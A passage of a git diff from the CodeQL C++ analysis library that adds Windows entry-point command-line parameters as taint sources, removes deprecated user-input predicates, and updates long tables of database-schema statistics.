semGetComparisonGuard(SemRelationalExpr e) { result = Specific::comparisonGuard(e) } diff --git a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/analysis/RangeAnalysisImpl.qll b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/analysis/RangeAnalysisImpl.qll index 22acb6fc1ca8..0281037e2795 100644 --- a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/analysis/RangeAnalysisImpl.qll +++ b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/analysis/RangeAnalysisImpl.qll @@ -77,8 +77,6 @@ module Sem implements Semantic { class Guard = SemGuard; - predicate implies_v2 = semImplies_v2/4; - class Type = SemType; class IntegerType = SemIntegerType; diff --git a/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll b/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll index 2aef5e6e7df3..eba6f9339ffe 100644 --- a/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll +++ b/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll @@ -55,12 +55,12 @@ private class LocalModelSource extends LocalFlowSource { } /** - * A local data flow source that the `argv` parameter to `main`. + * A local data flow source that is the `argv` parameter to `main` or `wmain`. */ private class ArgvSource extends LocalFlowSource { ArgvSource() { exists(Function main, Parameter argv | - main.hasGlobalName("main") and + main.hasGlobalName(["main", "wmain"]) and main.getParameter(1) = argv and this.asParameter(2) = argv ) @@ -69,6 +69,21 @@ private class ArgvSource extends LocalFlowSource { override string getSourceType() { result = "a command-line argument" } } +/** + * A local data flow source that is the `pCmdLine` parameter to `WinMain` or `wWinMain`. + */ +private class CmdLineSource extends LocalFlowSource { + CmdLineSource() { + exists(Function main, Parameter pCmdLine | + main.hasGlobalName(["WinMain", "wWinMain"]) and + main.getParameter(2) = pCmdLine and + this.asParameter(1) = pCmdLine + ) + } + + override string getSourceType() { result = "a command-line" } +} + /** * A remote data flow source that is defined through 'models as data'. */ diff --git a/cpp/ql/lib/semmle/code/cpp/security/Security.qll b/cpp/ql/lib/semmle/code/cpp/security/Security.qll index 63bdd685a205..df1555ec4c8d 100644 --- a/cpp/ql/lib/semmle/code/cpp/security/Security.qll +++ b/cpp/ql/lib/semmle/code/cpp/security/Security.qll @@ -42,58 +42,6 @@ class SecurityOptions extends string { ) } - /** - * The argument of the given function is filled in from user input. - */ - deprecated predicate userInputArgument(FunctionCall functionCall, int arg) { - exists(string fname | - functionCall.getTarget().hasGlobalOrStdName(fname) and - exists(functionCall.getArgument(arg)) and - ( - fname = ["fread", "fgets", "fgetws", "gets"] and arg = 0 - or - fname = "scanf" and arg >= 1 - or - fname = "fscanf" and arg >= 2 - ) - or - functionCall.getTarget().hasGlobalName(fname) and - exists(functionCall.getArgument(arg)) and - fname = "getaddrinfo" and - arg = 3 - ) - or - exists(RemoteFlowSourceFunction remote, FunctionOutput output | - functionCall.getTarget() = remote and - output.isParameterDerefOrQualifierObject(arg) and - remote.hasRemoteFlowSource(output, _) - ) - } - - /** - * The return value of the given function is filled in from user input. - */ - deprecated predicate userInputReturned(FunctionCall functionCall) { - exists(string fname | - functionCall.getTarget().getName() = fname and - ( - fname = ["fgets", "gets"] or - this.userInputReturn(fname) - ) - ) - or - exists(RemoteFlowSourceFunction remote, FunctionOutput output | - functionCall.getTarget() = remote and - (output.isReturnValue() or output.isReturnValueDeref()) and - remote.hasRemoteFlowSource(output, _) - ) - } - - /** - * DEPRECATED: Users should override `userInputReturned()` instead. - */ - deprecated predicate userInputReturn(string function) { none() } - /** * The argument of the given function is used for running a process or loading * a library. @@ -108,29 +56,6 @@ class SecurityOptions extends string { function = ["LoadLibrary", "LoadLibraryA", "LoadLibraryW"] and arg = 0 } - /** - * This predicate should hold if the expression is directly - * computed from user input. Such expressions are treated as - * sources of taint. - */ - deprecated predicate isUserInput(Expr expr, string cause) { - exists(FunctionCall fc, int i | - this.userInputArgument(fc, i) and - expr = fc.getArgument(i) and - cause = fc.getTarget().getName() - ) - or - exists(FunctionCall fc | - this.userInputReturned(fc) and - expr = fc and - cause = fc.getTarget().getName() - ) - or - commandLineArg(expr) and cause = "argv" - or - expr.(EnvironmentRead).getSourceDescription() = cause - } - /** * This predicate should hold if the expression raises privilege for the * current session. The default definition only holds true for some @@ -152,16 +77,6 @@ class SecurityOptions extends string { } } -/** - * An access to the argv argument to main(). - */ -private predicate commandLineArg(Expr e) { - exists(Parameter argv | - argv(argv) and - argv.getAnAccess() = e - ) -} - /** The argv parameter to the main function */ predicate argv(Parameter argv) { exists(Function f | @@ -173,21 +88,6 @@ predicate argv(Parameter argv) { /** Convenience accessor for SecurityOptions.isPureFunction */ predicate isPureFunction(string name) { exists(SecurityOptions opts | opts.isPureFunction(name)) } -/** Convenience accessor for SecurityOptions.userInputArgument */ -deprecated predicate userInputArgument(FunctionCall functionCall, int arg) { - exists(SecurityOptions opts | opts.userInputArgument(functionCall, arg)) -} - -/** Convenience accessor for SecurityOptions.userInputReturn */ -deprecated predicate userInputReturned(FunctionCall functionCall) { - exists(SecurityOptions opts | opts.userInputReturned(functionCall)) -} - -/** Convenience accessor for SecurityOptions.isUserInput */ -deprecated predicate isUserInput(Expr expr, string cause) { - exists(SecurityOptions opts | opts.isUserInput(expr, cause)) -} - /** Convenience accessor for SecurityOptions.isProcessOperationArgument */ predicate isProcessOperationArgument(string function, int arg) { exists(SecurityOptions opts | opts.isProcessOperationArgument(function, arg)) diff --git a/cpp/ql/lib/semmle/code/cpp/security/SecurityOptions.qll b/cpp/ql/lib/semmle/code/cpp/security/SecurityOptions.qll index 81815971478a..612b495d3e68 100644 --- a/cpp/ql/lib/semmle/code/cpp/security/SecurityOptions.qll +++ b/cpp/ql/lib/semmle/code/cpp/security/SecurityOptions.qll @@ -22,28 +22,4 @@ class CustomSecurityOptions extends SecurityOptions { // for example: (function = "MySpecialSqlFunction" and arg = 0) none() // rules to match custom functions replace this line } - - deprecated override predicate userInputArgument(FunctionCall functionCall, int arg) { - SecurityOptions.super.userInputArgument(functionCall, arg) - or - exists(string fname | - functionCall.getTarget().hasGlobalName(fname) and - exists(functionCall.getArgument(arg)) and - // --- custom functions that return user input via one of their arguments: - // 'arg' is the 0-based index of the argument that is used to return user input - // for example: (fname = "readXmlInto" and arg = 1) - none() // rules to match custom functions replace this line - ) - } - - deprecated override predicate userInputReturned(FunctionCall functionCall) { - SecurityOptions.super.userInputReturned(functionCall) - or - exists(string fname | - functionCall.getTarget().hasGlobalName(fname) and - // --- custom functions that return user input via their return value: - // for example: fname = "xmlReadAttribute" - none() // rules to match custom functions replace this line - ) - } } diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats index 201725ec5d17..bca58ed2f5b1 100644 --- a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats +++ b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats @@ -2,7 +2,7 @@ @compilation - 16209 + 16142 @externalDataElement @@ -18,63 +18,63 @@ @location_default - 31651328 + 36226754 @location_stmt - 5201796 + 5202209 @location_expr - 17955097 + 17956521 @diagnostic - 1590 + 1588 @file - 83605 + 83260 @folder - 15884 + 15818 @macro_expansion - 40282895 + 40121869 @other_macro_reference - 313754 + 312756 @function - 3352272 + 4015439 @fun_decl - 3384193 + 4154519 @var_decl - 6734162 + 9247204 @type_decl - 1889998 + 1882105 @namespace_decl - 425663 + 430914 @using_declaration - 333109 + 341862 @using_directive - 8151 + 8125 @using_enum_declaration @@ -82,323 +82,323 @@ @static_assert - 183988 + 183493 @parameter - 4792289 + 6965639 @membervariable - 1441877 + 1489139 @globalvariable - 425545 + 466518 @localvariable - 735182 + 734804 @enumconstant - 330375 + 343781 @errortype - 134 + 125 @unknowntype - 134 + 125 @void - 134 + 125 @boolean - 134 + 125 @char - 134 + 125 @unsigned_char - 134 + 125 @signed_char - 134 + 125 @short - 134 + 125 @unsigned_short - 134 + 125 @signed_short - 134 + 125 @int - 134 + 125 @unsigned_int - 134 + 125 @signed_int - 134 + 125 @long - 134 + 125 @unsigned_long - 134 + 125 @signed_long - 134 + 125 @long_long - 134 + 125 @unsigned_long_long - 134 + 125 @signed_long_long - 134 + 125 @float - 134 + 125 @double - 134 + 125 @long_double - 134 + 125 @complex_float - 134 + 125 @complex_double - 134 + 125 @complex_long_double - 134 + 125 @imaginary_float - 134 + 125 @imaginary_double - 134 + 125 @imaginary_long_double - 134 + 125 @wchar_t - 134 + 125 @decltype_nullptr - 134 + 125 @int128 - 134 + 125 @unsigned_int128 - 134 + 125 @signed_int128 - 134 + 125 @float128 - 134 + 125 @complex_float128 - 134 + 125 @decimal32 - 134 + 125 @decimal64 - 134 + 125 @decimal128 - 134 + 125 @char16_t - 134 + 125 @char32_t - 134 + 125 @std_float32 - 134 + 125 @float32x - 134 + 125 @std_float64 - 134 + 125 @float64x - 134 + 125 @std_float128 - 134 + 125 @char8_t - 134 + 125 @float16 - 134 + 125 @complex_float16 - 134 + 125 @fp16 - 134 + 125 @std_bfloat16 - 134 + 125 @std_float16 - 134 + 125 @complex_std_float32 - 134 + 125 @complex_float32x - 134 + 125 @complex_std_float64 - 134 + 125 @complex_float64x - 134 + 125 @complex_std_float128 - 134 + 125 @pointer - 472813 + 470652 @type_with_specifiers - 725904 + 696526 @array - 95666 + 98431 @routineptr - 861504 + 858764 @reference - 1024877 + 970559 @gnu_vector - 866 + 863 @routinereference - 471 + 470 @rvalue_reference - 292111 + 291793 @block 10 - @type_operator - 8530 + @decltype + 102057 - @decltype - 102046 + @type_operator + 8519 @usertype - 4985429 + 4962767 @mangledname - 5807372 + 6329773 @type_mention - 5508026 + 5812069 @concept_template - 3873 + 3868 @routinetype - 761024 + 758603 @ptrtomember - 12079 + 12029 @specifier - 8342 + 7754 @gnuattribute @@ -406,11 +406,11 @@ @stdattribute - 346335 + 350577 @declspec - 326934 + 328789 @msattribute @@ -418,19 +418,19 @@ @alignas - 2194 + 2192 @attribute_arg_token - 21022 + 20955 @attribute_arg_constant_expr - 89401 + 88857 @attribute_arg_expr - 1801 + 1793 @attribute_arg_empty @@ -446,35 +446,35 @@ @derivation - 599063 + 597157 @frienddecl - 881497 + 879292 @comment - 11290475 + 11233849 @namespace - 11090 + 11044 @specialnamequalifyingelement - 134 + 125 @namequalifier - 3257060 + 3254040 @value - 13198553 + 13436143 @initialiser - 2336741 + 2338659 @address_of @@ -482,131 +482,131 @@ @indirect - 402982 + 403000 @array_to_pointer - 1948138 + 1948290 @parexpr - 4901077 + 4901469 @arithnegexpr - 584849 + 584894 @unaryplusexpr - 4124 + 4122 @complementexpr - 38088 + 38090 @notexpr - 357988 + 357805 @postincrexpr - 84819 + 84356 @postdecrexpr - 57229 + 57234 @preincrexpr - 96430 + 96438 @predecrexpr - 35715 + 35718 @conditionalexpr - 895300 + 895370 @addexpr - 569732 + 569921 @subexpr - 465458 + 465494 @mulexpr - 434352 + 434549 @divexpr - 60327 + 60159 @remexpr - 19864 + 20100 @paddexpr - 118322 + 118331 @psubexpr - 68216 + 67843 @pdiffexpr - 46016 + 43900 @lshiftexpr - 550128 + 550121 @rshiftexpr - 199984 + 199982 @andexpr - 479850 + 479844 @orexpr - 193504 + 193501 @xorexpr - 74060 + 73764 @eqexpr - 641484 + 641535 @neexpr - 410687 + 410719 @gtexpr - 110823 + 110832 @ltexpr - 139020 + 139031 @geexpr - 80996 + 81151 @leexpr - 291182 + 291203 @assignexpr - 1277386 + 1277487 @assignaddexpr @@ -614,23 +614,23 @@ @assignsubexpr - 15262 + 15263 @assignmulexpr - 14123 + 14065 @assigndivexpr - 6827 + 6789 @assignremexpr - 941 + 875 @assignlshiftexpr - 3713 + 3693 @assignrshiftexpr @@ -642,15 +642,15 @@ @assignorexpr - 19572 + 19550 @assignxorexpr - 29822 + 29824 @assignpaddexpr - 18573 + 18574 @assignpsubexpr @@ -658,27 +658,27 @@ @andlogicalexpr - 345572 + 345599 @orlogicalexpr - 1101612 + 1100373 @commaexpr - 167785 + 169097 @subscriptexpr - 433866 + 433900 @callexpr - 301955 + 300995 @vastartexpr - 5108 + 5084 @vaargexpr @@ -686,7 +686,7 @@ @vaendexpr - 2949 + 2933 @vacopyexpr @@ -694,39 +694,39 @@ @varaccess - 8230416 + 8231069 @runtime_sizeof - 400615 + 400899 @runtime_alignof - 61395 + 62611 @expr_stmt - 147937 + 147941 @routineexpr - 6142593 + 6134772 @type_operand - 1402930 + 1401351 @offsetofexpr - 148600 + 148598 @typescompexpr - 700718 + 699930 @literal - 6101426 + 6101485 @aggregateliteral @@ -734,31 +734,31 @@ @c_style_cast - 6024780 + 6025595 @temp_init - 1076374 + 1075277 @errorexpr - 57533 + 57350 @reference_to - 2191473 + 2184503 @ref_indirect - 2653759 + 2645319 @vacuous_destructor_call - 9867 + 9836 @assume - 4414 + 4394 @conjugation @@ -810,35 +810,35 @@ @thisaccess - 1525406 + 1518451 @new_expr - 58177 + 57992 @delete_expr - 14458 + 14412 @throw_expr - 26147 + 26141 @condition_decl - 438155 + 437622 @braced_init_list - 2334 + 2331 @type_id - 60322 + 60130 @sizeof_pack - 2188 + 2181 @hasassignexpr @@ -882,7 +882,7 @@ @isabstractexpr - 8 + 74 @isbaseofexpr @@ -890,23 +890,23 @@ @isclassexpr - 2532 + 2538 @isconvtoexpr - 269 + 250 @isemptyexpr - 1480 + 8880 @isenumexpr - 672 + 2376 @ispodexpr - 677 + 1065 @ispolyexpr @@ -922,83 +922,83 @@ @hastrivialdestructor - 557 + 555 @uuidof - 27728 + 28057 @delete_array_expr - 1597 + 1591 @new_array_expr - 6964 + 6932 @foldexpr - 1372 + 1368 @ctordirectinit - 142053 + 141602 @ctorvirtualinit - 5062 + 5046 @ctorfieldinit - 259009 + 258185 @ctordelegatinginit - 3767 + 3627 @dtordirectdestruct - 49639 + 49481 @dtorvirtualdestruct - 5019 + 5003 @dtorfielddestruct - 50154 + 49994 @static_cast - 335397 + 389474 @reinterpret_cast - 43190 + 41835 @const_cast - 47227 + 30706 @dynamic_cast - 1015 + 1011 @lambdaexpr - 17804 + 17748 @param_ref - 177909 + 177835 @noopexpr - 52 + 51 @istriviallyconstructibleexpr - 1749 + 2376 @isdestructibleexpr @@ -1010,19 +1010,19 @@ @istriviallydestructibleexpr - 1076 + 1000 @istriviallyassignableexpr - 3 + 2376 @isnothrowassignableexpr - 5382 + 5127 @istrivialexpr - 829 + 1375 @isstandardlayoutexpr @@ -1030,7 +1030,7 @@ @istriviallycopyableexpr - 2152 + 598 @isliteraltypeexpr @@ -1050,11 +1050,11 @@ @isconstructibleexpr - 691 + 3627 @isnothrowconstructibleexpr - 18568 + 20761 @hasfinalizerexpr @@ -1090,11 +1090,11 @@ @isfinalexpr - 1716 + 11803 @noexceptexpr - 30758 + 30854 @builtinshufflevector @@ -1102,11 +1102,11 @@ @builtinchooseexpr - 20636 + 20642 @builtinaddressof - 16818 + 16294 @vec_fill @@ -1122,7 +1122,7 @@ @spaceshipexpr - 1406 + 1404 @co_await @@ -1134,7 +1134,7 @@ @isassignable - 438 + 437 @isaggregate @@ -1146,11 +1146,11 @@ @builtinbitcast - 148 + 250 @builtinshuffle - 785 + 782 @blockassignexpr @@ -1158,7 +1158,7 @@ @issame - 4864 + 4858 @isfunction @@ -1266,7 +1266,7 @@ @reuseexpr - 907596 + 906491 @istriviallycopyassignable @@ -1366,95 +1366,95 @@ @requires_expr - 17682 + 17661 @nested_requirement - 737 + 736 @compound_requirement - 11734 + 11720 @concept_id - 96899 + 96781 @lambdacapture - 28786 + 28523 @stmt_expr - 2025654 + 2025815 @stmt_if - 987309 + 987388 @stmt_while - 39531 + 39534 @stmt_goto - 151145 + 151155 @stmt_label - 72493 + 72498 @stmt_return - 1513767 + 1508953 @stmt_block - 1897847 + 1846814 @stmt_end_test_while - 232977 + 232974 @stmt_for - 84141 + 84148 @stmt_switch_case - 895930 + 894840 @stmt_switch - 441314 + 440777 @stmt_asm - 64016 + 64015 @stmt_decl - 770583 + 768980 @stmt_empty - 460103 + 459543 @stmt_continue - 28042 + 28011 @stmt_break - 141003 + 140276 @stmt_try_block - 28960 + 28918 @stmt_microsoft_try - 225 + 224 @stmt_set_vla_size @@ -1466,19 +1466,19 @@ @stmt_assigned_goto - 12390 + 12391 @stmt_range_based_for - 7422 + 7398 @stmt_handler - 47453 + 47389 @stmt_constexpr_if - 72388 + 103934 @stmt_co_return @@ -1494,55 +1494,55 @@ @ppd_if - 511564 + 589589 @ppd_ifdef - 227257 + 213751 @ppd_ifndef - 154182 + 157794 @ppd_elif - 28098 + 27982 @ppd_else - 241116 + 236511 @ppd_endif - 846328 + 886636 @ppd_plain_include - 408414 + 406728 @ppd_define - 3130472 + 2749584 @ppd_undef - 93378 + 101058 @ppd_pragma - 405268 + 407234 @ppd_include_next - 214 + 213 @ppd_line - 19065 + 19055 @ppd_error - 134 + 125 @ppd_objc_import @@ -1566,7 +1566,7 @@ @link_target - 947 + 943 @xmldtd @@ -1596,11 +1596,11 @@ compilations - 16209 + 16142 id - 16209 + 16142 cwd @@ -1618,7 +1618,7 @@ 1 2 - 16209 + 16142 @@ -1644,19 +1644,19 @@ compilation_args - 1297703 + 1292348 id - 16209 + 16142 num - 1882 + 1874 arg - 37523 + 37368 @@ -1670,52 +1670,52 @@ 36 42 - 1286 + 1281 42 43 - 1408 + 1402 43 44 - 920 + 917 44 45 - 649 + 647 45 51 - 1218 + 1213 51 70 - 622 + 620 71 72 - 907 + 903 72 90 - 1151 + 1146 94 96 - 501 + 498 98 99 - 1719 + 1712 100 @@ -1725,22 +1725,22 @@ 103 104 - 2559 + 2548 104 119 - 1367 + 1362 120 138 - 1191 + 1186 139 140 - 582 + 579 @@ -1756,67 +1756,67 @@ 34 38 - 758 + 755 38 39 - 1922 + 1914 39 40 - 1259 + 1254 40 42 - 1394 + 1389 42 53 - 771 + 768 53 54 - 907 + 903 54 63 - 1151 + 1146 64 67 - 514 + 512 67 68 - 1801 + 1793 68 70 - 1245 + 1240 70 71 - 1801 + 1793 73 79 - 1218 + 1213 79 89 - 1448 + 1442 89 @@ -1837,7 +1837,7 @@ 43 90 - 81 + 80 90 @@ -1847,7 +1847,7 @@ 108 183 - 135 + 134 198 @@ -1857,12 +1857,12 @@ 422 595 - 162 + 161 595 605 - 162 + 161 605 @@ -1882,12 +1882,12 @@ 930 1190 - 108 + 107 1197 1198 - 487 + 485 @@ -1903,7 +1903,7 @@ 1 5 - 162 + 161 5 @@ -1933,12 +1933,12 @@ 22 27 - 162 + 161 27 29 - 108 + 107 29 @@ -1948,7 +1948,7 @@ 34 44 - 162 + 161 45 @@ -1968,7 +1968,7 @@ 171 199 - 27 + 26 @@ -1984,22 +1984,22 @@ 1 2 - 17184 + 17113 2 3 - 16263 + 16196 3 103 - 2816 + 2805 104 1198 - 1259 + 1254 @@ -2015,17 +2015,17 @@ 1 2 - 24848 + 24746 2 3 - 11185 + 11139 3 62 - 1489 + 1483 @@ -2035,11 +2035,11 @@ compilation_build_mode - 16209 + 16142 id - 16209 + 16142 mode @@ -2057,7 +2057,7 @@ 1 2 - 16209 + 16142 @@ -2083,11 +2083,11 @@ compilation_compiling_files - 16209 + 16142 id - 16209 + 16142 num @@ -2095,7 +2095,7 @@ file - 7420 + 7390 @@ -2109,7 +2109,7 @@ 1 2 - 16209 + 16142 @@ -2125,7 +2125,7 @@ 1 2 - 16209 + 16142 @@ -2173,17 +2173,17 @@ 1 2 - 176 + 175 2 3 - 7217 + 7187 28 91 - 27 + 26 @@ -2199,7 +2199,7 @@ 1 2 - 7420 + 7390 @@ -2209,11 +2209,11 @@ compilation_time - 64566 + 64299 id - 16141 + 16074 num @@ -2221,11 +2221,11 @@ kind - 54 + 53 seconds - 17604 + 17801 @@ -2239,7 +2239,7 @@ 1 2 - 16141 + 16074 @@ -2255,7 +2255,7 @@ 4 5 - 16141 + 16074 @@ -2271,17 +2271,17 @@ 2 3 - 189 + 107 3 4 - 8179 + 7821 4 5 - 7772 + 8145 @@ -2327,8 +2327,8 @@ 12 - 1300 - 1301 + 1320 + 1321 13 @@ -2345,7 +2345,7 @@ 1192 1193 - 54 + 53 @@ -2361,7 +2361,7 @@ 1 2 - 54 + 53 @@ -2380,18 +2380,18 @@ 13 - 11 - 12 + 12 + 13 13 - 716 - 717 + 718 + 719 13 - 775 - 776 + 792 + 793 13 @@ -2408,27 +2408,27 @@ 1 2 - 11293 + 11233 2 3 - 3493 + 3910 3 4 - 1340 + 1200 4 - 20 - 1327 + 24 + 1335 - 21 - 699 - 148 + 24 + 696 + 121 @@ -2444,7 +2444,7 @@ 1 2 - 17604 + 17801 @@ -2460,12 +2460,12 @@ 1 2 - 14760 + 14969 2 3 - 2830 + 2818 3 @@ -2480,15 +2480,15 @@ diagnostic_for - 4449 + 4444 diagnostic - 1590 + 1588 compilation - 1452 + 1450 file_number @@ -2510,7 +2510,7 @@ 1 2 - 1544 + 1542 63 @@ -2531,7 +2531,7 @@ 1 2 - 1590 + 1588 @@ -2547,7 +2547,7 @@ 1 2 - 1590 + 1588 @@ -2563,7 +2563,7 @@ 3 4 - 1406 + 1404 5 @@ -2584,7 +2584,7 @@ 1 2 - 1452 + 1450 @@ -2600,7 +2600,7 @@ 3 4 - 1406 + 1404 5 @@ -2726,19 +2726,19 @@ compilation_finished - 16209 + 16142 id - 16209 + 16142 cpu_seconds - 11821 + 12164 elapsed_seconds - 243 + 256 @@ -2752,7 +2752,7 @@ 1 2 - 16209 + 16142 @@ -2768,7 +2768,7 @@ 1 2 - 16209 + 16142 @@ -2784,17 +2784,17 @@ 1 2 - 9736 + 10168 2 3 - 1530 + 1402 3 - 36 - 555 + 24 + 593 @@ -2810,12 +2810,12 @@ 1 2 - 10968 + 11368 2 3 - 853 + 795 @@ -2836,21 +2836,26 @@ 2 3 - 27 + 26 - 5 - 6 + 3 + 4 13 - 7 - 8 + 4 + 5 13 - 8 - 9 + 6 + 7 + 13 + + + 7 + 8 13 @@ -2859,43 +2864,48 @@ 13 - 11 - 12 + 10 + 11 13 - 19 - 20 - 27 + 15 + 16 + 13 - 23 - 24 + 18 + 19 13 - 42 - 43 + 32 + 33 13 - 136 - 137 + 48 + 49 13 - 269 - 270 + 157 + 158 13 - 314 - 315 + 249 + 250 13 - 328 - 329 + 309 + 310 + 13 + + + 323 + 324 13 @@ -2917,11 +2927,21 @@ 2 3 - 27 + 26 - 5 - 6 + 3 + 4 + 13 + + + 4 + 5 + 13 + + + 6 + 7 13 @@ -2935,48 +2955,48 @@ 13 - 9 - 10 + 10 + 11 13 - 11 - 12 + 15 + 16 13 - 19 - 20 - 27 + 18 + 19 + 13 - 23 - 24 + 32 + 33 13 - 40 - 41 + 48 + 49 13 - 127 - 128 + 147 + 148 13 - 156 - 157 + 170 + 171 13 - 240 - 241 + 222 + 223 13 - 265 - 266 + 264 + 265 13 @@ -3203,11 +3223,11 @@ sourceLocationPrefix - 134 + 125 prefix - 134 + 125 @@ -4701,15 +4721,15 @@ extractor_version - 134 + 125 codeql_version - 134 + 125 frontend_version - 134 + 125 @@ -4723,7 +4743,7 @@ 1 2 - 134 + 125 @@ -4739,7 +4759,7 @@ 1 2 - 134 + 125 @@ -4749,31 +4769,31 @@ locations_default - 31651328 + 36226754 id - 31651328 + 36226754 container - 41845 + 41023 startLine - 7709525 + 7495820 startColumn - 22470 + 21262 endLine - 7708852 + 7497821 endColumn - 56242 + 53530 @@ -4787,7 +4807,7 @@ 1 2 - 31651328 + 36226754 @@ -4803,7 +4823,7 @@ 1 2 - 31651328 + 36226754 @@ -4819,7 +4839,7 @@ 1 2 - 31651328 + 36226754 @@ -4835,7 +4855,7 @@ 1 2 - 31651328 + 36226754 @@ -4851,7 +4871,7 @@ 1 2 - 31651328 + 36226754 @@ -4866,68 +4886,68 @@ 1 - 16 - 3363 + 15 + 3126 - 17 - 37 - 3229 + 15 + 41 + 3126 - 39 - 58 - 3229 + 42 + 66 + 3376 - 61 - 84 - 3229 + 67 + 95 + 3126 - 84 + 98 124 - 3498 + 3251 - 126 - 166 - 3229 + 124 + 174 + 3376 - 173 + 175 228 - 3229 + 3126 - 228 - 299 - 3229 + 230 + 303 + 3126 - 299 - 393 - 3229 + 305 + 406 + 3126 - 393 - 567 - 3229 + 408 + 596 + 3251 - 568 - 820 - 3229 + 598 + 943 + 3126 - 897 - 2193 - 3229 + 986 + 2568 + 3251 - 2212 - 55160 - 2691 + 2725 + 57658 + 2626 @@ -4943,67 +4963,67 @@ 1 13 - 3632 + 3502 13 - 26 - 3229 + 29 + 3251 - 26 - 39 - 3229 + 29 + 42 + 3126 - 39 - 55 - 3229 + 42 + 58 + 3376 - 55 - 75 - 3363 + 58 + 76 + 3126 - 75 - 106 - 3229 + 77 + 102 + 3251 - 106 - 132 - 3363 + 102 + 134 + 3126 - 132 - 169 - 3229 + 134 + 173 + 3126 - 174 - 238 - 3229 + 173 + 242 + 3126 - 238 - 335 - 3229 + 243 + 348 + 3126 - 337 - 477 - 3229 + 348 + 489 + 3126 - 506 - 1226 - 3229 + 493 + 1269 + 3126 - 1251 - 55106 - 2421 + 1337 + 57597 + 2626 @@ -5019,72 +5039,67 @@ 1 4 - 2287 + 2251 4 - 6 - 2421 - - - 6 - 9 - 3363 + 7 + 3126 - 9 - 14 - 2960 + 7 + 12 + 3502 - 14 - 19 - 3229 + 12 + 16 + 3126 - 19 - 24 - 3229 + 16 + 22 + 3376 - 24 - 30 - 3767 + 22 + 28 + 3126 - 30 - 36 - 3229 + 28 + 33 + 3251 - 36 - 42 - 3229 + 33 + 39 + 3376 - 42 - 53 - 3229 + 39 + 48 + 3376 - 55 - 72 - 3363 + 48 + 60 + 3376 - 72 - 89 - 3632 + 60 + 82 + 3376 - 89 - 108 - 3229 + 83 + 98 + 3251 - 109 + 98 141 - 672 + 2501 @@ -5100,67 +5115,67 @@ 1 13 - 3632 + 3502 13 - 26 - 3229 + 29 + 3251 - 27 - 39 - 3229 + 29 + 42 + 3126 - 39 - 55 - 3229 + 42 + 58 + 3376 - 55 - 75 - 3363 + 58 + 76 + 3126 - 75 - 106 - 3229 + 77 + 102 + 3251 - 106 - 132 - 3363 + 102 + 134 + 3126 - 132 - 169 - 3229 + 134 + 173 + 3251 174 - 238 - 3229 + 244 + 3126 - 238 - 336 - 3229 + 246 + 348 + 3126 - 337 - 477 - 3229 + 348 + 494 + 3126 - 505 - 1228 - 3229 + 513 + 1349 + 3126 - 1250 - 55106 - 2421 + 1407 + 57597 + 2501 @@ -5176,67 +5191,67 @@ 1 12 - 3498 + 3376 13 - 21 - 3229 + 24 + 3251 - 21 - 30 - 3229 + 25 + 33 + 3251 - 30 - 37 - 3632 + 33 + 39 + 3376 - 37 - 44 - 3632 + 39 + 45 + 3627 - 44 - 53 - 3229 + 45 + 54 + 3126 - 53 - 61 - 3229 + 54 + 62 + 3627 - 61 - 69 - 3632 + 62 + 71 + 3376 - 69 - 82 - 3363 + 71 + 83 + 3502 - 82 - 96 - 3229 + 83 + 99 + 3126 - 96 - 110 - 3229 + 99 + 114 + 3126 - 110 - 129 - 3229 + 114 + 136 + 3126 - 129 - 314 - 1480 + 147 + 363 + 1125 @@ -5252,27 +5267,32 @@ 1 2 - 5187224 + 4960358 2 3 - 787663 + 800711 3 4 - 633871 + 566326 4 - 10 - 618398 + 12 + 593091 - 10 - 414 - 482366 + 12 + 210 + 562324 + + + 210 + 534 + 13007 @@ -5288,27 +5308,27 @@ 1 2 - 5247772 + 5018642 2 3 - 1198852 + 1234586 3 - 5 - 636024 + 6 + 664132 - 5 - 54 - 579781 + 6 + 106 + 562324 - 54 - 312 - 47092 + 107 + 329 + 16134 @@ -5324,27 +5344,27 @@ 1 2 - 5929679 + 5655509 2 3 - 579512 + 532682 3 - 5 - 581396 + 7 + 579333 - 5 - 42 - 579512 + 7 + 24 + 571454 - 42 - 71 - 39423 + 24 + 72 + 156840 @@ -5360,12 +5380,12 @@ 1 2 - 7558827 + 7320969 2 - 82 - 150697 + 81 + 174850 @@ -5381,27 +5401,27 @@ 1 2 - 5256249 + 5027272 2 3 - 764386 + 767567 3 4 - 627009 + 559822 4 - 10 - 600637 + 12 + 604348 - 10 - 225 - 461242 + 12 + 235 + 536809 @@ -5417,67 +5437,67 @@ 1 2 - 2018 + 1500 2 4 - 1883 + 1876 4 - 8 - 1749 + 9 + 1625 - 8 - 29 - 1883 + 9 + 19 + 1751 - 30 - 76 - 1749 + 20 + 74 + 1625 - 84 - 160 - 1749 + 81 + 173 + 1625 173 - 312 - 1749 + 435 + 1625 - 336 - 498 - 1749 + 468 + 904 + 1625 - 507 - 876 - 1749 + 945 + 1309 + 1625 - 898 - 1155 - 1749 + 1328 + 1510 + 1625 - 1158 - 1462 - 1749 + 1531 + 1774 + 1625 - 1480 - 3513 - 1749 + 1834 + 2887 + 1625 - 3514 - 112668 - 941 + 3491 + 119749 + 1500 @@ -5493,67 +5513,67 @@ 1 2 - 2152 + 1876 2 - 3 - 1210 + 4 + 1751 - 3 - 5 - 2018 + 4 + 6 + 1500 - 5 + 6 11 - 1883 + 1751 - 12 - 28 - 1883 + 11 + 33 + 1625 - 29 - 50 - 1883 + 34 + 45 + 1625 50 - 72 - 1749 + 75 + 1751 - 72 - 91 - 1749 + 78 + 98 + 1751 - 91 - 127 - 1749 + 101 + 131 + 1625 - 127 - 137 - 1749 + 131 + 147 + 1876 - 140 - 151 - 1883 + 149 + 161 + 1625 - 152 - 178 - 1749 + 162 + 198 + 1625 - 186 - 312 - 807 + 202 + 329 + 875 @@ -5569,67 +5589,67 @@ 1 2 - 2152 + 1625 2 4 - 1883 + 1876 4 - 8 - 1749 + 9 + 1625 - 8 - 29 - 1883 + 